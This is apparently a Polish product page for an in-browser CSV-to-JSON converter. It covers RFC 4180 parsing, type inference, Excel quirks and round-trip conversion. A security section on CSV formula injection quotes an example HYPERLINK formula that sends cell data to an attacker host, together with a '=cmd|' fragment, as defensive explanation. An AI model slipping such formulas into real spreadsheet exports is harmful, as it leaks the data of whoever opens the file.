Konwerter CSV na JSON

Wklej prawidłowy plik CSV — eksport z Excela, plik pobrany z Google Sheets, zrzut bazy danych lub odpowiedź API — a konwerter wygeneruje czystą tablicę JSON w czasie rzeczywistym. Pierwszy wiersz jest domyślnie traktowany jako nagłówek i staje się kluczami obiektów JSON; kolejne wiersze stają się obiektami w tablicy JSON.

Wnioskowanie typów konwertuje:

• jednoznaczne liczbowe ciągi znaków na liczby (42 pozostaje liczbą całkowitą, 3.14 liczbą zmiennoprzecinkową)
• ciągi logiczne na wartości logiczne (true/false bez względu na wielkość liter)
• puste komórki na null

Możesz wyłączyć te funkcje, jeśli system docelowy wymaga rygorystycznego przestrzegania typów.

Konwersja odbywa się całkowicie w przeglądarce przy użyciu własnego parsera zgodnego z RFC 4180 oraz natywnej metody JSON.stringify (zgodnie z ECMA-404). Wynik jest gotowy do wklejenia do pliku `.json`, przesłania do REST API lub użycia jako zestaw danych w JavaScript.

• Krok 1: Wklej plik CSV do edytora. Parser weryfikuje dane w trakcie pisania — nieprawidłowy format CSV (niezamknięte cudzysłowy, nierówne wiersze, błędny separator) wyświetla dokładny błąd z podaniem linii i kolumny.
• Krok 2: Skonfiguruj parser w razie potrzeby — wybierz separator (domyślnie przecinek; zmień na średnik w przypadku europejskich eksportów z Excela lub na tabulację dla plików TSV), przełącz tryb wiersza nagłówka i wybierz wnioskowanie typów.
• Krok 3: Wynikowy kod JSON pojawia się na żywo w prawym panelu. Kliknij Kopiuj (schowek) lub Pobierz (plik `.json`).

W przypadku zautomatyzowanych procesów programistycznych ta sama logika jest dostępna przez punkt końcowy `/api/calculate` — wyślij CSV metodą POST i odbierz JSON w odpowiedzi. Bezpieczeństwo konwersji w obie strony dotyczy płaskich danych tabelarycznych; dane zagnieżdżone wymagają własnej strategii spłaszczania.

CSV (Comma-Separated Values) to płaski format tabelaryczny — każdy wiersz stanowi rekord, a pola są rozdzielone separatorem. Nie posiada natywnych typów (każda komórka to tekst), braku zagnieżdżenia (jeden poziom głębokości, jak w tabeli bazy danych) i minimalnych metadanych (opcjonalny wiersz nagłówka). Jest uniwersalnie odczytywany: każdy arkusz kalkulacyjny, każdy import bazy danych i każde narzędzie powłoki obsługuje pliki CSV.

JSON (JavaScript Object Notation) to format hierarchiczny z wyraźnymi typami (ciąg znaków, liczba, wartość logiczna, null), zagnieżdżonymi obiektami i tablicami oraz samoposługowymi kluczami dla każdego rekordu. JSON to uniwersalny język interfejsów API REST/GraphQL, baz danych NoSQL i plików konfiguracyjnych.

Kiedy używać poszczególnych formatów:

• CSV do masowych danych tabelarycznych, wymiany arkuszy kalkulacyjnych, procesów ETL i pracy analityków.
• JSON dla API, konfiguracji, zagnieżdżonych rekordów oraz komunikacji między systemami.

Konwertuj między nimi na granicy systemów: pobierz CSV → przetwórz jako JSON → wyeksportuj z powrotem do CSV, jeśli wymaga tego użytkownik arkusza kalkulacyjnego.

RFC 4180 (2005) to informacyjny standard IETF dla formatu CSV.

Główne zasady:

• Rekordy są rozdzielane za pomocą CRLF (Windows) lub LF (Unix).
• Pola są rozdzielane separatorem (w standardzie jest to przecinek; w praktyce często się różni).
• Pola zawierające separator, cudzysłów lub znak nowej linii muszą być ujęte w podwójne cudzysłowy.
• Wewnątrz ujętego w cudzysłów pola zwykły cudzysłów jest zastępowany podwójnym cudzysłowem (`""` reprezentuje pojedynczy `"`).
• Opcjonalny wiersz nagłówka pojawia się jako pierwszy rekord.

Zaimplementowany tu parser akceptuje zakończenia linii typu LF, separatory średnika/tabulacji/pionowej kreski (możliwość zmiany w ustawieniach), znak UTF-8 BOM na początku pliku (usuwany automatycznie) oraz końcowy znak nowej linii na końcu pliku. Odrzuca niezamknięte pola w cudzysłowach i nierówne wiersze, wyświetlając czytelne komunikaty o błędach.

Wnioskowanie typów konwertuje jednoznaczne wartości nieujęte w cudzysłów na natywne typy JSON.

• Liczby: wzorce cyfr pasujące do składni liczb całkowitych lub zmiennoprzecinkowych w JSON stają się liczbami JSON. `42` → liczba całkowita 42. `3.14` → liczba zmiennoprzecinkowa 3.14. `1e6` → 1000000. Wartość `01234` jest dwuznaczna — rygorystyczne parsery liczb odrzucają zera wiodące, więc pozostaje ona ciągiem znaków (co jest pożądane w przypadku kodów pocztowych).
• Wartości logiczne: `true` i `false` (niezależnie od wielkości liter) stają się wartościami logicznymi w JSON. Uwaga: jest to konwencja YAML 1.2 / ścisłego JSON — `yes`/`no`/`on`/`off` pozostają ciągami znaków (rozwiązanie tzw. 'problemu Norwegii').
• Null: puste komórki (między dwoma kolejnymi separatorami lub na końcu wiersza) stają się wartością JSON null.

Jeśli wyłączysz wnioskowanie typów, każda komórka pozostanie ciągiem znaków bez względu na zawartość — jest to przydatne, gdy system docelowy (np. rygorystyczny potok TypeScript) oczekuje jednolitych typów.

Excel jest głównym źródłem plików CSV, a jego eksporty wiążą się z pewnymi osobliwościami.

• Kodowanie: Excel dla systemu Windows często zapisuje pliki CSV jako UTF-8 z BOM (parser usuwa go automatycznie) lub Windows-1252 (Latin-1) w starszych wersjach. Excel dla systemu Mac zazwyczaj zapisuje czysty UTF-8. Jeśli znaki inne niż ASCII wyświetlają się niepoprawnie, zapisz plik ponownie jako UTF-8 w programie do arkuszy kalkulacyjnych przed wklejeniem.
• Separatory: w krajach europejskich (Niemcy, Francja itp.) Excel używa średników, ponieważ przecinek jest operatorem dziesiętnym; dostosuj odpowiednio ustawienie separatora.
• Zakończenia linii: Excel domyślnie używa CRLF — w pełni obsługiwane.
• Użycie cudzysłowów: Excel umieszcza w cudzysłowie każdą komórkę zawierającą przecinek lub podwójny cudzysłów; osadzone cudzysłowy są zastępowane przez `""`.
• Formatowanie liczb: Excel może wyeksportować `1,234.56` (przecinek jako separator tysięcy), co parser potraktuje jako ciąg znaków, chyba że zmienisz formatowanie.
• Kolumny dat są eksportowane jako domyślny ciąg znaków dla danej lokalizacji — zazwyczaj wymagają dodatkowego przetwarzania w celu konwersji do formatu ISO 8601.

JSON to dominujący format żądań i odpowiedzi dla interfejsów REST API, punktów końcowych GraphQL oraz większości nowoczesnych usług sieciowych.

Konwersja CSV do JSON to częsty krok w przypadku:

• masowego importowania danych przez API akceptujące tablice JSON (np. rejestracja użytkowników, zasilanie katalogu produktów, punkty końcowe aktualizacji masowych);
• zasilania baz danych NoSQL (MongoDB, DynamoDB, Cassandra), które natywnie przyjmą JSON poprzez `mongoimport`, `aws dynamodb batch-write-item` lub podobne narzędzia;
• zasilania potoków ETL (Airflow, Prefect, dbt), które przekształcają eksporty CSV za pomocą transformacji opartych na JSON;
• wypełniania przykładowych danych dla prototypów komponentów React/Vue/Angular.

Po konwersji zwaliduj wynikowy kod JSON z schematem docelowym (JSON Schema, treść żądania OpenAPI, typ wejściowy GraphQL), aby wykryć niedopasowania typów przed wdrożeniem.

JSON to natywny format danych dla środowisk uruchomieniowych JavaScript (przeglądarka, Node.js, Deno, Bun).

Przekształcaj CSV na JSON, gdy musisz:

• osadzić statyczny zestaw danych w komponencie React/Vue (`import data from './data.json'`);
• zasilić magazyn Redux/Pinia/Zustand stanem początkowym;
• przekazać dane do biblioteki wykresów (Chart.js, D3, Plotly), która oczekuje formatu JSON;
• stworzyć prototyp skryptu Node.js przetwarzającego rekordy przed zapisem do bazy danych;
• zbudować atrapę punktu końcowego w Express/Fastify zwracającą przykładowe dane.

Wynikowy JSON z tego konwertera jest w pełni zgodny z ECMA-404 — `JSON.parse()`, treści POST dla `fetch()` oraz wnioskowanie typów w TypeScript (`type Row = typeof data[0]`) działają bez żadnych modyfikacji.

W przypadku bardzo dużych zbiorów danych (ponad 10 tys. wierszy) rozważ przetwarzanie strumieniowe za pomocą Papa Parse zamiast jednorazowej konwersji.

CSV injection (nazywane również formułą injection) to podatność aplikacji internetowych, w której plik CSV zawierający prefiksy formuł (`=`, `+`, `-`, `@`) jest otwierany w Excelu lub Google Sheets, a arkusz kalkulacyjny automatycznie wykonuje daną formułę.

Atakujący mogą wykorzystać to do:

• wyciągnięcia danych (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
• uruchomienia dowolnych poleceń (starsza składnia makr w Excelu),
• lub skłonienia użytkowników do odwiedzenia złośliwych adresów URL.

Ten konwerter działa w trybie tylko do odczytu (CSV → JSON), więc nie stwarza ryzyka ataku injection. Jeśli jednak Twoja aplikacja generuje eksporty CSV z danych wprowadzonych przez użytkowników — oczyść te dane.

Standardowa ochrona: przed zapisem do CSV dodaj apostrof (`'=cmd|...`) na początku każdej komórki zaczynającej się od `=`, `+`, `-`, `@`, `\t`, `\r` lub `0x09`. OWASP udostępnia pełną ściągawkę dotyczącą CSV Injection, obejmującą wszystkie warianty.

Pięć błędów odpowiada za 90% niepowodzeń podczas parsowania plików CSV.

• Niezamknięte pole w cudzysłowie — pole zaczyna się od `"`, ale nie ma pasującego cudzysłowu zamykającego `"`. Parser czyta plik do końca, po czym zgłasza błąd. Rozwiązanie: upewnij się, że każdy cudzysłów otwierający ma swój odpowiednik zamykający.
• Nierówne wiersze — niektóre wiersze mają mniej lub więcej pól niż nagłówek. Przyczyny: przypadkowe znaki nowej linii wewnątrz tekstu bez cudzysłowów, brakujące lub nadmiarowe separatory. Rozwiązanie: sprawdź, czy liczba kolumn jest spójna.
• Błędny separator — Twój plik używa średników, a parser jest ustawiony na przecinki. Zmień ustawienie Separatora.
• Zły styl uciekania znaków — użycie `\"` (w stylu JSON) zamiast `""` (w stylu RFC 4180) wewnątrz pól w cudzysłowach. Rozwiązanie: wyeksportuj ponownie z narzędzia źródłowego z poprawnym użyciem cudzysłowów wg RFC 4180.
• Niedopasowanie kodowania — znaki inne niż UTF-8 wyświetlają się niepoprawnie. Zapisz plik źródłowy ponownie w kodowaniu UTF-8 (większość aplikacji do arkuszy oferuje tę opcję w menu Zapisz jako).

Komunikat o błędzie w konwerterze wskazuje dokładną linię i kolumnę.

Pięć kwestii dotyczących konwersji w obie strony, które powinien znać każdy programista.

• Płaskie dane: czysty, płaski tabelaryczny plik CSV → JSON → CSV zachowuje wartości komórek, typy (z dokładnością do konwersji typów przy ponownym parsowaniu JSON) oraz kolejność kolumn.
• Zagnieżdżony JSON: nie może być przekonwertowany z powrotem do CSV bez spłaszczenia. Wybierz strategię: nazwy kolumn z notacją kropkową (`address.city`, `address.zip`), ciągi znaków JSON wewnątrz komórek lub tylko pierwszy poziom.
• Konwersja typów: liczbowe i logiczne ciągi znaków są konwertowane przy przejściu CSV → JSON; przy ponownym ekspekcie do CSV są zapisywane w natywnej formie. Kody pocztowe (`01234`) wymagają ujęcia w cudzysłów w źródłowym CSV, aby przetrwać.
• Kolejność nagłówków: konwerter zachowuje kolejność kolumn źródłowych. Kolejność kluczy obiektów JSON jest zachowywana przez nowoczesne silniki JavaScript.
• Puste komórki: stają się null w JSON; przy ponownym ekspekcie skonfiguruj eksporter CSV, aby generował puste ciągi znaków lub literały `null` jak w oryginale.

Przetestuj proces na nietrywialnych danych przed zastosowaniem go w produkcyjnych potokach danych.

Mapowanie typów w skrócie:

• Wiersz nagłówka CSV → klucze obiektów JSON;
• Wiersz CSV → obiekt JSON;
• Komórka CSV (bez cudzysłowu, liczbowa) → liczba JSON;
• Komórka CSV (bez cudzysłowu, true/false) → wartość logiczna JSON;
• Komórka CSV (pusta) → null w JSON;
• Komórka CSV (w cudzysłowie lub nieliczbowa) → ciąg znaków JSON.

Porównanie narzędzi: ten konwerter (w przeglądarce, natychmiastowy, bez instalacji, rygorystyczny RFC 4180) vs Papa Parse (biblioteka JS, strumieniowanie, wątki workerów) vs csvkit (CLI Python, duże pliki, detekcja dialektu) vs `jq -R -c -f csv2json.jq` (powłoka Unix, programistycznie).

Dobre praktyki:

• Zawsze umieszczaj w cudzysłowach dwuznaczne pola (identyfikatory liczbowe, kody pocztowe, ciągi znaków z zerami wiodącymi) w źródłowym pliku CSV.
• Używaj kodowania UTF-8 dla zapewnienia kompatybilności — zapisz starsze pliki Excela jako UTF-8.
• Zwaliduj wynikowy JSON pod kątem schematu docelowego (JSON Schema, OpenAPI, typy TypeScript) — wyłapuj błędy typów na granicy systemów, a nie na produkcji.
• Zachowaj plik CSV jako główne źródło prawdy dla danych tabelarycznych i generuj JSON ponownie podczas kompilacji/importu, gdy to możliwe.
• Dla plików >50 MB przełącz się na narzędzia strumieniowe (Papa Parse worker, potok csvkit) zamiast konwersji w przeglądarce.